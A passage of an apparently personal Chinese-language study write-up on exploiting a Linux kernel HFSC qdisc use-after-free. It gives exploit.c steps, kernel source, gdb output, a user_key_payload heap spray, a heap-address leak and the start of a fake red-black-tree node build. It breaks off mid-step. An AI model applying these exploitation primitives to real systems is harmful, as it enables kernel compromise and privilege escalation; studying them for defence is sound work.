(3)步骤3:触发packet enqueue [exploit.c#L983]
c
trigger_qdisc_enqueue(packet_socket, ifindex);
- 第3步的packet flow:
hfsc_enqueue(Qdisc_A)->pfifo_tail_enqueue(Qdisc_C) - 第3步之后,有如下:
Qdisc_A->q.qlen == 0Qdisc_C->q.qlen == 1
(4)步骤4:删除Qdisc_C [exploit.c#L990]
c
delete_qdisc(route_socket, ifindex, qdisc_A_handle, qdisc_C_handle);
-
第4步之后,有如下:
Qdisc_A->q.qlen == -1- 现在
Qdisc_A队列中没有 packet
-
代码过程 :
hfsc_graft_class()->qdisc_create_dflt()&qdisc_replace(),删除传入handle对应的Qdisc,新建一个类型为 "pfifo" 的Qdisc (pfifo_qdisc_ops) 替换old,并将待删除的Qdisc->q.qlen清0,将parent Qdisc的->q.qlen减去待删除的Qdisc->q.qlen。
(5)步骤5:创建 class_A 对象 [exploit.c#L992]
c
struct tc_service_curve rsc_A = { .m1 = 1 };
create_hfsc_class(route_socket, ifindex, qdisc_A_handle, classid_A, &rsc_A, NULL, NULL);
struct tc_service_curve {
__u32 m1; /* slope of the first segment in bps */
__u32 d; /* x-projection of the first segment in us */
__u32 m2; /* slope of the second segment in bps */
};
- 第5步之后,有如下:
class_A对象 (classid:classid_A/ type:hfsc_class/ flags:HFSC_RSC)
(6)步骤6:创建Qdisc_B [exploit.c#L994]
c
struct tc_hfsc_qopt hfsc_qopt_B = { .defcls = 0 };
create_hfsc_qdisc(route_socket, ifindex, classid_A, qdisc_B_handle, &hfsc_qopt_B);
- 第6步之后,有如下:
Qdisc_B(parent: Qdisc_A, handle:qdisc_B_handle, type:hfsc) ??? 不是Qdisc_A,而是class_A- 和第1步一样,
Qdisc_B有自己的root class - 将
defcls设置为0,会导致Qdisc_B将入队的packet路由到其root class所链接的qdisc Qdisc_B链接到 class_A 对象 (classid: classid_A)
(7)步骤7:创建 Qdisc_C [exploit.c#L995]
c
create_pfifo_head_drop_qdisc(
route_socket,
ifindex,
qdisc_B_handle,
qdisc_C_handle,
&pfifo_head_drop_qopt_C
);
- 第7步之后,有如下:
Qdisc_C(parent: Qdisc_B / handle:qdisc_C_handle/ type:pfifo_head_drop)Qdisc_C设置为sch->limit == 0Qdisc_C链接到Qdisc_B的 root class
(8)步骤8:修改Qdisc_A route [exploit.c#L1003]
c
change_hfsc_qdisc_route(route_socket, ifindex, TC_H_ROOT, qdisc_A_handle, classid_A);
void change_hfsc_qdisc_route(
struct mnl_socket *route_socket,
int ifindex,
u32 tcm_parent,
u32 tcm_handle,
u32 route_to_classid
)
{
struct tc_hfsc_qopt hfsc_qopt = { .defcls = route_to_classid };
change_hfsc_qdisc(route_socket, ifindex, tcm_parent, tcm_handle, &hfsc_qopt);
}
- 第8步之后,有如下:
- 修改
Qdisc_Aroute,将入队的packet路由到class_A对象链接的qdisc。(将Qdisc_A的defcls设置为class_A,会导致Qdisc_A将入队的packet路由到class_A所链接的qdisc;如果defcls设置为0,则将入队的packet路由到其root class所链接的qdisc)
- 修改
(9)步骤9:触发packet入队 [exploit.c#L1004]
c
trigger_qdisc_enqueue(packet_socket, ifindex);
- 第9步的 packet flow:
hfsc_enqueue(Qdisc_A)->hfsc_enqueue(Qdisc_B)->pfifo_tail_enqueue(Qdisc_C) - 第9步之后,有如下:Qdisc_C加1, QdiscA/Qdisc_B 不变。
Qdisc_A->q.qlen == -1Qdisc_B->q.qlen == 0Qdisc_C->q.qlen == 1
(10)步骤10:删除Qdisc_C [exploit.c#L1005]
c
delete_qdisc(route_socket, ifindex, qdisc_B_handle, qdisc_C_handle);
- 第10步之后,有如下:删除Qdisc_C之后,会将父Qdisc_A / Qdisc_B 的qlen减去待删除Qdisc_C的qlen。(参见
(4)删除Qdisc_C)Qdisc_A->q.qlen == -2Qdisc_B->q.qlen == -1
(11)步骤11:创建正常Qdisc_C [exploit.c#L1007]
c
pfifo_head_drop_qopt_C.limit = 0xFFFFFFFF;
create_pfifo_head_drop_qdisc(
route_socket,
ifindex,
qdisc_B_handle,
qdisc_C_handle,
&pfifo_head_drop_qopt_C
);
- 第11步之后,有如下:
Qdisc_C(parent: Qdisc_B / handle:qdisc_C_handle/ type:pfifo_head_drop)Qdisc_C设置为sch->limit == 0xFFFFFFFF
(12)步骤12:触发Flow2 [exploit.c#L1015]
c
change_hfsc_class(route_socket, ifindex, qdisc_A_handle, classid_A, &rsc_A, NULL, NULL);
// `hfsc_change_class()` - 内核函数
static int hfsc_change_class(struct Qdisc *sch, u32 classid, u32 parentid,
struct nlattr **tca, unsigned long *arg,
struct netlink_ext_ack *extack)
{
struct hfsc_sched *q = qdisc_priv(sch);
struct hfsc_class *cl = (struct hfsc_class *)*arg; // cl - class_A
...
if (cl != NULL) {
...
sch_tree_lock(sch);
old_flags = cl->cl_flags;
if (rsc != NULL)
hfsc_change_rsc(cl, rsc, cur_time);
...
if (cl->qdisc->q.qlen != 0) { // cl->qdisc == Qdisc_B / qlen == -1,可进入本分支。前面的步骤都是为了构造Qdisc_B->q.qlen == -1 ?????
int len = qdisc_peek_len(cl->qdisc);
if (cl->cl_flags & HFSC_RSC) {
if (old_flags & HFSC_RSC)
update_ed(cl, len); // <--- update_ed()
else
init_ed(cl, len);
}
}
sch_tree_unlock(sch);
return 0;
}
/* Writeup note: Deleted code for clarity */
}
cl就是class_A,第5步创建的;cl->qdisc就是Qdisc_B;- 重点!!!!! :
Qdisc_B->q.qlen == -1=>cl->qdisc->q.qlen != 0;这样才能触发Flow2,调用update_ed()。若等于0则不存在packet,不能update。 - 执行到
update_ed()(按Flow2继续执行 -hfsc_change_class()->update_ed()->eltree_update()->eltree_remove()&eltree_insert())。
(13)步骤13:触发Flow1 [exploit.c#L1016]
c
trigger_qdisc_enqueue(packet_socket, ifindex);
trigger_qdisc_enqueue(packet_socket, ifindex);
第1次packet入队:
-
由于已设置
sch->limit == 0xFFFFFFFF,packet入队过程会返回成功(NET_XMIT_SUCCESS); -
第1次调用
trigger_qdisc_enqueue()时的packet flow:hfsc_enqueue(Qdisc_A)->hfsc_enqueue(Qdisc_B)->pfifo_tail_enqueue(Qdisc_C); -
第1次调用
trigger_qdisc_enqueue()后,有如下:Qdisc_A->q.qlen == -1Qdisc_B->q.qlen == 0Qdisc_C->q.qlen == 1
-
由于
->enqueue()返回NET_XMIT_SUCCESS,就会调用->dequeue(); -
packet出队 (调用完入队后,会跟着调用出队,见
__dev_xmit_skb()->dev_qdisc_enqueue()入队 &__qdisc_run()出队):由于Qdisc_B->q.qlen == 0,当出队流为hfsc_dequeue(Qdisc_A) -> hfsc_dequeue(Qdisc_B)时,出队流会停止(不会继续调用Qdisc_C->dequeue - qdisc_dequeue_head()函数,从hfsc_dequeue(Qdisc_B)就返回NULL),这样就可以保持预期的rb_tree结构;c/* 调用序列: - `__sock_sendmsg()` -> `sock_sendmsg_nosec()` -> `sock->ops->sendmsg` - `packet_sendmsg()` -> `packet_snd()` -> `packet_xmit()` -> `dev_queue_xmit()` -> `__dev_queue_xmit()` -> `__dev_xmit_skb()` (这里和入队enqueue都相同,都是发包触发) - -> `__qdisc_run()` -> `qdisc_restart()` -> `dequeue_skb()` -> `hfsc_dequeue()` */ static struct sk_buff * hfsc_dequeue(struct Qdisc *sch) { struct hfsc_sched *q = qdisc_priv(sch); struct hfsc_class *cl; struct sk_buff *skb; u64 cur_time; unsigned int next_len; int realtime = 0; if (sch->q.qlen == 0) // qlen 为0,则直接返回NULL return NULL; cur_time = psched_get_time(); cl = eltree_get_mindl(q, cur_time); // 在所有 eligible class 中选取 deadline 最小的 class ... skb = qdisc_dequeue_peeked(cl->qdisc); // qdisc_dequeue_peeked() -> Qdisc_B->dequeue() - hfsc_dequeue() - 由于 sch->q.qlen == 0, 所以直接返回NULL if (skb == NULL) { qdisc_warn_nonwc("HFSC", cl->qdisc); return NULL; } ... qdisc_bstats_update(sch, skb); qdisc_qstats_backlog_dec(sch, skb); sch->q.qlen--; return skb; }
第2次packet入队:
-
第2次调用
trigger_qdisc_enqueue(),会触发Flow1; -
第2次调用
trigger_qdisc_enqueue()时的 packet flow:hfsc_enqueue(Qdisc_A)->hfsc_enqueue(Qdisc_B)->pfifo_tail_enqueue(Qdisc_C); -
看看
hfsc_enqueue()内核函数:cstatic int hfsc_enqueue(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free) { unsigned int len = qdisc_pkt_len(skb); struct hfsc_class *cl; int err; bool first; cl = hfsc_classify(skb, sch, &err); // cl = class_A ... first = !cl->qdisc->q.qlen; // cl->qdisc = Qdisc_B / qlen == 0 => first = true err = qdisc_enqueue(skb, cl->qdisc, to_free); ... if (first) { if (cl->cl_flags & HFSC_RSC) init_ed(cl, len); // 满足条件 <--- init_ed() ... } sch->qstats.backlog += len; sch->q.qlen++; return NET_XMIT_SUCCESS; } static inline int qdisc_enqueue(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free) { return sch->enqueue(skb, sch, to_free); } -
当调用
hfsc_enqueue(Qdisc_A)时,cl表示class_A对象,cl->qdisc表示Qdisc_B; -
Qdisc_B->q.qlen == 0=>first == true -
执行到
init_ed()(Flow1思路); -
这一步之后每个Qdisc的qlen值:
Qdisc_A->q.qlen == 0Qdisc_B->q.qlen == 1Qdisc_C->q.qlen == 2
-
由于
Qdisc_A->q.qlen == 0,这样执行到hfsc_dequeue(Qdisc_A)就提前返回NULL(不会继续调用hfsc_dequeue(Qdisc_B)和Qdisc_C->dequeue()),并保持rb_tree结构受控。
调试与代码分析
断点设置:
- 快速断到第(12)步,在
hfsc_change_class()下断,第2次停下就到了第12步(第1次是在(5)创建hfsc_class A)。 - 第(13)步断点
hfsc_enqueue()&hfsc_dequeue()
第1次调用eltree_insert():
c
#define RB_RED 0
#define RB_BLACK 1
A->el_node->__rb_parent_color == (0 | RB_BLACK); // A == cl
A->el_node->rb_right == NULL;
A->el_node->rb_left == NULL;
cl->sched->eligible.rb_node == &(A->el_node);
// 调试
gef> p cl
$27 = (struct hfsc_class *) 0xffff888104e55400
gef> p cl->el_node->__rb_parent_color
$30 = 0x1
gef> p cl->el_node->rb_right
$31 = (struct rb_node *) 0x0 <fixed_percpu_data>
gef> p cl->el_node->rb_left
$32 = (struct rb_node *) 0x0 <fixed_percpu_data>
gef> p cl->sched->eligible.rb_node
$33 = (struct rb_node *) 0xffff888104e554a0 // 其实就指向 cl->el_node
// hfsc_class
struct hfsc_class {
...
struct rb_node {
long unsigned int __rb_parent_color; /* 0xa0 0x8 */
struct rb_node * rb_right; /* 0xa8 0x8 */
struct rb_node * rb_left; /* 0xb0 0x8 */
} __attribute__((__aligned__(8)))el_node __attribute__((__aligned__(8))); /* 0xa0 0x18 */
...
}
第2次调用eltree_insert():
c
A->el_node->__rb_parent_color == &(A->el_node); // A == cl
A->el_node->rb_right == NULL;
A->el_node->rb_left == &(A->el_node);
cl->sched->eligible.rb_node == &(A->el_node);
// 调试
gef> p cl
$34 = (struct hfsc_class *) 0xffff888104e55400
gef> p cl->el_node->__rb_parent_color
$36 = 0xffff888104e554a0
gef> p cl->el_node->rb_right
$37 = (struct rb_node *) 0x0 <fixed_percpu_data>
gef> p cl->el_node->rb_left
$38 = (struct rb_node *) 0xffff888104e554a0 // cl->el_node
gef> p cl->sched->eligible.rb_node
$39 = (struct rb_node *) 0xffff888104e554a0
- 现在,删除A后,
sched->eligible.rb_node仍保留着悬垂指针,实现代码参见exp中trigger_uaf()。
第2次调用eltree_insert()代码分析:
c
static void
eltree_insert(struct hfsc_class *cl)
{
struct rb_node **p = &cl->sched->eligible.rb_node; // p = &(A->el_node)
struct rb_node *parent = NULL;
struct hfsc_class *cl1;
while (*p != NULL) {
parent = *p; // parent = &(A->el_node)
cl1 = rb_entry(parent, struct hfsc_class, el_node);
if (cl->cl_e >= cl1->cl_e)
p = &parent->rb_right; // p = cl->el_node->rb_right = NULL
else
p = &parent->rb_left;
}
rb_link_node(&cl->el_node, parent, p); // cl->el_node->__rb_parent_color = parent = &(A->el_node); cl->el_node->rb_left = cl->el_node->rb_right = NULL
rb_insert_color(&cl->el_node, &cl->sched->eligible); // tools/lib/rbtree.c
}
3-3. trigger_uaf()
c
static inline void trigger_uaf(struct mnl_socket *route_socket, int ifindex, u32 hfsc_classid)
{
delete_tclass(route_socket, ifindex, TC_H_MAJ(hfsc_classid), hfsc_classid);
}
要想触发UAF,只需要删除class_A对象即可。trgger_uaf()执行过后,Qdisc_A->q.qlen == -1。
此时,sched->eligible.rb_node仍保留着悬垂指针,漏洞对象是hfsc_class - kmalloc-1024,可通过父Qdisc访问到(Qdisc_A->privdata 指向hfsc_sched对象,Qdisc_A->privdata->eligible.rb_node即为悬垂指针,指向hfsc_class中的UAF_rb_node / class_A->el_node)
调试与代码分析
操作标志:RTM_DELTCLASS
调用链 :根据 nlmsg_type - RTM_NEWTCLASS 找到 tc_ctl_tclass()
SYSCALL_DEFINE4-sendto->__sys_sendto()->__sock_sendmsg()->sock_sendmsg_nosec()->sock->ops->sendmsg-netlink_sendmsg()->netlink_unicast()->netlink_unicast_kernel()->nlk->netlink_rcv-rtnetlink_rcv()->netlink_rcv_skb()->rtnetlink_rcv_msg()------ 前面和分配Qdisc调用链一样link->doit-tc_ctl_tclass()->tclass_del_notify()->cops->delete-hfsc_delete_class()
断点设置 :tc_ctl_tclass()
c
static int tclass_del_notify(struct net *net,
const struct Qdisc_class_ops *cops,
struct sk_buff *oskb, struct nlmsghdr *n,
struct Qdisc *q, unsigned long cl,
struct netlink_ext_ack *extack)
{ // cops - hfsc_class_ops // q - Qdisc_A // cl - class_A
u32 portid = oskb ? NETLINK_CB(oskb).portid : 0;
struct sk_buff *skb;
int err = 0;
if (!cops->delete)
return -EOPNOTSUPP;
skb = alloc_skb(NLMSG_GOODSIZE, GFP_KERNEL);
if (!skb)
return -ENOBUFS;
if (tc_fill_tclass(skb, q, cl, portid, n->nlmsg_seq, 0,
RTM_DELTCLASS, extack) < 0) {
kfree_skb(skb);
return -EINVAL;
}
err = cops->delete(q, cl, extack); // <--- hfsc_delete_class() 删除class_A
if (err) {
kfree_skb(skb);
return err;
}
err = rtnetlink_send(skb, net, portid, RTNLGRP_TC, // 再次发包
n->nlmsg_flags & NLM_F_ECHO);
return err;
}
// 删除 class_A 之后调试发现:el_node结构不变,`sched->eligible.rb_node`仍保留着悬垂指针
gef> p *(struct hfsc_class *) 0xffff888104e55400
...
el_node = {
__rb_parent_color = 0xffff888104e554a0,
rb_right = 0x0 <fixed_percpu_data>,
rb_left = 0xffff888104e554a0
}
gef> p (*(struct hfsc_class *) 0xffff888104e55400)->sched->eligible.rb_node
$73 = (struct rb_node *) 0xffff888104e554a0 // cl->sched->eligible.rb_node
3-4. 拓展-红黑树原理
红黑树特点 :代码使用示例参见eltree_insert()
-
时间复杂度:查找、插入、删除均为 O(log n)
-
空间开销:每个节点只需3个指针(父指针与颜色共用存储)
-
平衡性:最坏情况下,最长路径不超过最短路径的2倍
(1)核心规则
- 每个节点要么是红色,要么是黑色
- 根节点是黑色
- 所有叶子节点(NIL节点)都是黑色
- 红色节点的两个子节点都是黑色(不能有连续的红色节点)
- 从任一节点到其每个叶子的所有路径包含相同数量的黑色节点
(2)数据结构
c
struct rb_node {
unsigned long __rb_parent_color; // 巧妙设计:同时存储父指针和颜色 __rb_parent_color使用最低位存储节点颜色(0=黑,1=红)
struct rb_node *rb_right;
struct rb_node *rb_left;
};
struct rb_root { // 根节点 hfsc_class->sched->eligible.rb_node 就是根节点,所有class存储同一个根节点,hfsc_class->el_node 就是当前节点
struct rb_node *rb_node;
};
(3)核心操作原理
插入操作 :void rb_insert_color(struct rb_node *node, struct rb_root *root)
- 按照二叉搜索树规则插入新节点(初始为红色)
- 重新平衡(fixup):
- 情况1:插入节点是根 → 染黑
- 情况2:父节点是黑 → 直接完成
- 情况3:父节点和叔叔节点都是红 → 父叔染黑,祖父染红,继续向上处理
- 情况4/5:父节点红,叔叔节点黑 → 通过旋转+染色恢复平衡
c
static __always_inline void
__rb_insert(struct rb_node *node, struct rb_root *root,
void (*augment_rotate)(struct rb_node *old, struct rb_node *new))
{
struct rb_node *parent = rb_red_parent(node), *gparent, *tmp; // parent 父节点
while (true) {
/*
* Loop invariant: node is red.
*/
if (unlikely(!parent)) { // [1] 插入节点是根 → 染黑
rb_set_parent_color(node, NULL, RB_BLACK);
break;
}
if(rb_is_black(parent)) // [2] 父节点是黑 → 直接完成
break;
gparent = rb_red_parent(parent); // gparent = (struct rb_node *)parent->__rb_parent_color 祖父节点
tmp = gparent->rb_right; // tmp - 叔叔节点 or 父节点
if (parent != tmp) { // left - 父节点 / right - 叔叔节点tmp
if (tmp && rb_is_red(tmp)) { // [3] 父红 叔叔红 → 父叔染黑,祖父染红,继续向上处理
/*
* Case 1 - node's uncle is red (color flips).
*
* G g
* / \ / \
* p u --> P U
* / /
* n n
*
* However, since g's parent might be red, and
* 4) does not allow this, we need to recurse
* at g.
*/
rb_set_parent_color(tmp, gparent, RB_BLACK);
rb_set_parent_color(parent, gparent, RB_BLACK);
node = gparent;
parent = rb_parent(node);
rb_set_parent_color(node, parent, RB_RED);
continue;
}
tmp = parent->rb_right; // [4-1] 父红 叔叔黑,自己是右儿子 → 通过旋转+染色恢复平衡
if (node == tmp) {
/*
* Case 2 - node's uncle is black and node is
* the parent's right child (left rotate at parent).
*
* G G
* / \ / \
* p U --> n U
* \ /
* n p
*
* This still leaves us in violation of 4), the
* continuation into Case 3 will fix that.
*/
tmp = node->rb_left;
WRITE_ONCE(parent->rb_right, tmp);
WRITE_ONCE(node->rb_left, parent);
if (tmp)
rb_set_parent_color(tmp, parent,
RB_BLACK);
rb_set_parent_color(parent, node, RB_RED);
augment_rotate(parent, node);
parent = node;
tmp = node->rb_right;
}
// [4-2] 父红 叔叔黑,自己是左儿子 → 通过旋转+染色恢复平衡
/*
* Case 3 - node's uncle is black and node is
* the parent's left child (right rotate at gparent).
*
* G P
* / \ / \
* p U --> n g
* / \
* n U
*/
WRITE_ONCE(gparent->rb_left, tmp); /* == parent->rb_right */
WRITE_ONCE(parent->rb_right, gparent);
if (tmp)
rb_set_parent_color(tmp, gparent, RB_BLACK);
__rb_rotate_set_parents(gparent, parent, root, RB_RED);
augment_rotate(gparent, parent);
break;
} else { // right - 父节点 / left - 叔叔节点tmp
tmp = gparent->rb_left;
if (tmp && rb_is_red(tmp)) { // [5] 父红 叔叔红 → 父叔染黑,祖父染红,继续向上处理
/* Case 1 - color flips */
rb_set_parent_color(tmp, gparent, RB_BLACK);
rb_set_parent_color(parent, gparent, RB_BLACK);
node = gparent;
parent = rb_parent(node);
rb_set_parent_color(node, parent, RB_RED);
continue;
}
tmp = parent->rb_left; // [6-1] 父红 叔叔黑,自己是左儿子 → 通过旋转+染色恢复平衡
if (node == tmp) {
/* Case 2 - right rotate at parent */
tmp = node->rb_right;
WRITE_ONCE(parent->rb_left, tmp);
WRITE_ONCE(node->rb_right, parent);
if (tmp)
rb_set_parent_color(tmp, parent,
RB_BLACK);
rb_set_parent_color(parent, node, RB_RED);
augment_rotate(parent, node);
parent = node;
tmp = node->rb_left;
}
// [6-2] 父红 叔叔黑,自己是左儿子 → 通过旋转+染色恢复平衡
/* Case 3 - left rotate at gparent */
WRITE_ONCE(gparent->rb_right, tmp); /* == parent->rb_left */
WRITE_ONCE(parent->rb_left, gparent);
if (tmp)
rb_set_parent_color(tmp, gparent, RB_BLACK);
__rb_rotate_set_parents(gparent, parent, root, RB_RED);
augment_rotate(gparent, parent);
break;
}
}
}
删除操作 :void rb_erase(struct rb_node *node, struct rb_root *root)
- 实际删除节点(可能有替代节点)
- 如果删除的是黑色节点,需要重新平衡:
- 情况1:兄弟节点是红 → 旋转+染色转为其他情况
- 情况2:兄弟节点黑,且兄弟的两个子节点都黑 → 兄弟染红,向上处理
- 情况3:兄弟节点黑,兄弟左子红/右子黑 → 旋转调整
- 情况4:兄弟节点黑,兄弟右子红 → 旋转+染色完成平衡
左旋转 :static void __rb_rotate_left(struct rb_node *node, struct rb_root *root)
- 将节点的右子节点提升为新的父节点,原节点成为左子节点
右旋转 :static void __rb_rotate_right(struct rb_node *node, struct rb_root *root)
- 将节点的左子节点提升为新的父节点,原节点成为右子节点
(4)实用宏和辅助函数
c
// 获取/设置颜色
#define rb_color(r) ((r)->__rb_parent_color & 1)
#define rb_is_red(r) (!rb_color(r))
#define rb_is_black(r) rb_color(r)
// 获取父节点
#define rb_parent(r) ((struct rb_node *)((r)->__rb_parent_color & ~3))
// 遍历宏
#define rb_first(root) // 获取最小节点
#define rb_last(root) // 获取最大节点
#define rb_next(node) // 获取后继节点
#define rb_prev(node) // 获取前驱节点
(5)net-sched节点更新代码
net-sched模块中负责更新节点的函数(进行节点插入操作) :init_ed() -> eltree_insert() -> rb_link_node() -> rb_insert_color() -> __rb_insert() 其中有两条路径会更新节点,将class自身插入到全局红黑树中。分别是在首次进行packet入队操作,或者修改class属性且packet队列长度不为0时。
hfsc_enqueue()->init_ed()------ 条件:hfsc_class->qdisc->q.qlen == 0。上一步packet入队会触发错误,提前返回,所以不会执行init_ed(),导致hfsc_class->qdisc->q.qlen == 0。hfsc_change_class()->init_ed()------ 条件:hfsc_class->qdisc->q.qlen != 0;且原先hfsc_class为RSC,需修改为FSC才会触发init_ed()。
结构说明 :hfsc_class->sched->eligible 表示 rb_root 根节点(全局红黑树),所有class都存储同一个根节点,hfsc_class->el_node 表示当前节点。
4. 构造heap read
构造heap read需用到5个函数:
- heap_read_primitive_init()
- heap_read_primitive_setup_network_interfaces()
- heap_read_primitive_build_primitive()
- heap_read_primitive_trigger()
- heap_read_primitive_reset()
4-1. 初始化
heap_read_primitive_init() - [exploit.c#L1025]
主要操作如下:
- 创建
NETLINK_ROUTEsocket; ------ 用于设置sched策略 - 创建 raw packet socket; ------ 用于发包触发packet入队出队
- 准备 3 个 qdisc handle 和 4 个 classid
- 准备分配
struct user_key_payload对象的参数
4-2. 设置网口
heap_read_primitive_setup_network_interfaces() - [exploit.c#L1077]
主要操作如下:
- (1)创建一个dummy 假的网络接口,设置
mtu == IPV6_MIN_MTU - 1,以避免内核调用ipv6_add_dev()。原因如下:???ipv6_add_dev()->timer_setup(&ndev->rs_timer, addrconf_rs_timer, 0)addrconf_rs_timer()->ndisc_send_rs()->ndisc_send_skb()ndisc_send_skb()会导致packet被发送到网络接口并触发sch->enqueue(),这会使调度器构造过程混乱,影响漏洞触发。
- (2)设置dummy假网口的状态为开启。
4-3. 构造heap read
思路 :利用class->el_node的node插入机制来篡改user_key_payload->datalen,以构造越界读写。
heap_read_primitive_build_primitive() - [exploit.c#L1089]
(1)触发UAF
c
prepare_uaf(
heap_read_primitive->route_socket,
heap_read_primitive->raw_packet_socket,
heap_read_primitive->rb_tree_interface_ifindex,
heap_read_primitive->rb_tree_interface_qdisc_A_handle,
heap_read_primitive->rb_tree_interface_qdisc_B_handle,
heap_read_primitive->rb_tree_interface_qdisc_C_handle,
heap_read_primitive->rb_tree_interface_classid_A
);
trigger_uaf(
heap_read_primitive->route_socket,
heap_read_primitive->rb_tree_interface_ifindex,
heap_read_primitive->rb_tree_interface_classid_A
);
内核函数eltree_insert():
c
static void
eltree_insert(struct hfsc_class *cl)
{
struct rb_node **p = &cl->sched->eligible.rb_node; // dangling pointer -> struct rb_node (hfsc_class->el_node) UAF对象 - hfsc_class
struct rb_node *parent = NULL;
struct hfsc_class *cl1;
while (*p != NULL) {
parent = *p;
cl1 = rb_entry(parent, struct hfsc_class, el_node);
if (cl->cl_e >= cl1->cl_e)
p = &parent->rb_right; // 利用时一直选取 rb_right
else
p = &parent->rb_left;
}
rb_link_node(&cl->el_node, parent, p);
rb_insert_color(&cl->el_node, &cl->sched->eligible);
}
- 悬垂指针 :是
cl->sched->eligible.rb_node,其type为struct rb_node;指向struct hfsc_class对象的el_node成员; - 标记 :
- 标记
struct rb_node对象为UAF_rb_node; 属于漏洞对象struct hfsc_class的成员。 - 漏洞对象 :标记
struct hfsc_class对象为UAF_hfsc_class-class_A;struct hfsc_class对象位于kmalloc-1024; - 将包含UAF指针的Qdisc标记为
Victim_Qdisc-Qdisc_A;------Qdisc_A->privdata指向hfsc_sched对象,Qdisc_A->privdata->eligible.rb_node即为悬垂指针,指向UAF_rb_node/class_A->el_node。
- 标记
- 注意 :
->cl_e成员将决定访问哪一个指针,->rb_right或->rb_left;后续步骤中,每次触发eltree_insert(),我们总是选取->rb_right。
(2)堆喷user_key_payload占位UAF_hfsc_class
c
fake_rb_node = (struct rb_node *)
(
user_key_payload_write_buffer + \
struct_hfsc_class_member_el_node_offset - \
sizeof(struct user_key_payload)
);
fake_rb_node->__rb_parent_color = 0 | RB_BLACK;
fake_rb_node->rb_right = (struct rb_node *)(0);
fake_rb_node->rb_left = (struct rb_node *)(0);
heap_read_primitive->key_A = user_key_payload_alloc(
heap_read_primitive->key_A_desc,
user_key_payload_write_buffer,
sizeof(user_key_payload_write_buffer)
);
// ????? 不需要伪造 hfsc_class->cl_e ????? 6-3. (2) 也是堆喷 user_key_payload 占据 `UAF_hfsc_class`,其中伪造了 UAF_hfsc_class->cl_e
将这个占位的struct user_key_payload记为user_key_payload_A,如果占位成功,就能布置如下内存:
c
UAF_rb_node->__rb_parent_color == NULL | RB_BLACK;
UAF_rb_node->rb_right == NULL;
UAF_rb_node->rb_left == NULL;
UAF_hfsc_class->cl_e == 0;
问题 :分配1次就能占位成功 ??? 执行完 key_create_or_update() 之后确实堆喷篡改成功了
(3)泄露hfsc_class堆地址-class_B
目标 :创建class_B并通过入队操作,将class_B->rb_node插入到Qdisc_A->privdata->eligible.rb_node->rb_right / class_A->el_node->rb_right,也即UAF漏洞对象中,以便通过user_key_payload泄露class_B的堆地址。
创建class_B :创建struct hfsc_class对象(设置HFSC_RSC flag),记为class_B。在创建class_B时会创建默认的qdisc连接到 class_B,class_B->qdisc 类型为pfifo。
- 调用链:
tc_ctl_tclass()->hfsc_change_class()
c
struct tc_service_curve rsc_B = { .m1 = 1, .m2 = 1, .d = 0 };
create_hfsc_class(
heap_read_primitive->route_socket,
heap_read_primitive->rb_tree_interface_ifindex,
heap_read_primitive->rb_tree_interface_qdisc_A_handle,
heap_read_primitive->rb_tree_interface_classid_B,
&rsc_B,
NULL,
NULL
);
配置Victim_Qdisc :将入队的packet从Qdisc_A路由到class_B所连接的qdisc。
- 调用链:
tc_modify_qdisc()->qdisc_change()->hfsc_change_qdisc()
c
change_hfsc_qdisc_route(
heap_read_primitive->route_socket,
heap_read_primitive->rb_tree_interface_ifindex,
TC_H_ROOT,
heap_read_primitive->rb_tree_interface_qdisc_A_handle,
heap_read_primitive->rb_tree_interface_classid_B
);
入队packet :通过Victim_Qdisc 入队的新packet最终流入init_ed(class_B) -> eltree_insert(class_B)。目的是将class_B->rb_node插入到Qdisc_A->privdata->eligible.rb_node->rb_right / class_A->el_node->rb_right,也即UAF漏洞对象中,以便通过user_key_payload泄露class_B的堆地址。
入队操作成功后,Victim_Qdisc->q.qlen == 0(原先删除class_A之后该值为-1 )。因此,我们可以在调用Qdisc_A的 ->dequeue() 时就提前返回NULL,并保持class_B对象在tree上。
- 入队调用链:
hfsc_enqueue()->pfifo_enqueue()&init_ed(class_B)->eltree_insert(class_B)
c
trigger_qdisc_enqueue(
heap_read_primitive->raw_packet_socket,
heap_read_primitive->rb_tree_interface_ifindex
);
// 调试如下:
// 调用 eltree_insert(class_B) 之前
gef> p sch // <--- Qdisc_A
$61 = (struct Qdisc *) 0xffff888105ac1000
gef> p sch->privdata
$62 = 0xffff888105ac1180
gef> p (*(struct hfsc_sched *)sch->privdata)->eligible.rb_node
$63 = (struct rb_node *) 0xffff888105a718a0
gef> p *(*(struct hfsc_sched *)sch->privdata)->eligible.rb_node
$64 = {
__rb_parent_color = 0x1,
rb_right = 0x0 <fixed_percpu_data>,
rb_left = 0x0 <fixed_percpu_data>
}
// 调用 eltree_insert(class_B) 之后, 显示class_B已插入到 Qdisc_A->privdata->eligible.rb_node / class_A->el_node
gef> p *(*(struct hfsc_sched *)sch->privdata)->eligible.rb_node
$68 = {
__rb_parent_color = 0x1,
rb_right = 0xffff888105a710a0, // class_B->rb_node
rb_left = 0x0 <fixed_percpu_data>
}
泄露class_B地址 :读取UAF_rb_node->rb_right来泄露&(class_B->el_node)地址,减去el_node成员偏移即可获得class_B地址,将该泄露地址记为hfsc_class_leak_address。
c
user_key_payload_read(
heap_read_primitive->key_A,
user_key_payload_read_buffer,
sizeof(user_key_payload_read_buffer)
);
fake_rb_node = (struct rb_node *)
(
user_key_payload_read_buffer + \
struct_hfsc_class_member_el_node_offset - \
sizeof(struct user_key_payload)
);
u64 hfsc_class_leak_address = (u64)fake_rb_node->rb_right - struct_hfsc_class_member_el_node_offset;
问题 - keyctl_read: Permission Denied
分析 :创建user类型的key时,权限设置为0x3f010000,但是读取时没有拥有者possess权限(无法通过is_key_possessed()检查)。正常来说,lookup_user_key() -> skey_ref = search_process_keyrings_rcu(&ctx); 应该能返回最低位为1(表示有possess权限)的key_ref_t key_ref,也即从进程中应该能搜索到user类型的key。
c
// 解决:
// 原先exp使用 KEY_SPEC_USER_KEYRING 密钥环
add_key("user", desc, data, n, KEY_SPEC_USER_KEYRING);
// 修改为 KEY_SPEC_SESSION_KEYRING 密钥环
add_key("user", desc, data, n, KEY_SPEC_SESSION_KEYRING);
(4)构造fake rb_tree - 2 rb_node
目的 :伪造class_A->el_node->rb_left指向class_B-user_key_payload->datalen位置,以篡改datalen。
第1个rb_node - class_B
-
删除
